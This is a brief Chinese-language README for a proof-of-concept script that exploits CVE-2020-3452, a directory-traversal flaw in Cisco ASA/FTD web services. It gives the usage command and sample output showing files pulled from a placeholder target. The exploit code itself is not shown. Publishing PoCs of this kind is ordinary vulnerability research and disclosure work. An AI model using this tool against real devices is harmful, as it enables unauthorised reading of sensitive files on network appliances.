用法:CVE-2020-3452.py https://target
漏洞描述:Cisco自适应安全设备(ASA)软件和Firepower威胁防御(FTD)软件的Web服务接口中存在一个漏洞,可能允许未经身份验证的远程攻击者执行目录遍历攻击并读取目标系统上的敏感文件。
示例输出:
➜ Cisco-ASA-FTD-Web-Services-Traversal git:(main) ✗ python CVE-2020-3452.py https://target
+-------------------------------------------------------------+
- [ Cisco ASA / FTD Web Services Traversal Vulnerability ]
- -[ CVE-2020-3452 - PoC by: LiquidSky ^_^ ]-
+-------------------------------------------------------------+
[*] Checking potential target : https://target
[+] https://target is vulnerable...
[+] Grabbing logo.gif from the host.
[+] https://target is vulnerable...
[+] Grabbing http_auth.html from the host.
[+] https://target is vulnerable...